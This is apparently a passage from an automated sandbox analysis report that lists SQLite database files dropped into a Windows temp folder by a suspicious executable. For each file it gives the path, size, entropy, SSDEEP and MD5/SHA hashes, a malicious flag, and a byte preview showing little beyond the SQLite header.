MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KDIsvrqMME

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KI2oVP7jYN

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KqADWpFmFV

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LWPEFNGxiW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LoiUDs0quK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LrOLWXvSJU

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\LruDkq5SId

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M0E6BwQ6N3

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\M9fhdKmtWa

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MAGWliH51v

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MBCv5xuit4

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MP2aQfW2Vy

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MdtLflkYYq

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\MpaDXGyqHA

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NG4iaYwmai

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NWVpKhHTDT

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OgSPmuznZK

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OghVsaym5J

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OiFU6RhYS6

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\OzWkclrzmM

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PN3t8j1rrW

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\PkQeCFYAQc

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Q3yxTgxTHU

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QAmJRZoL9Y

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QGmLJLb0jX

Download File

Process:	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
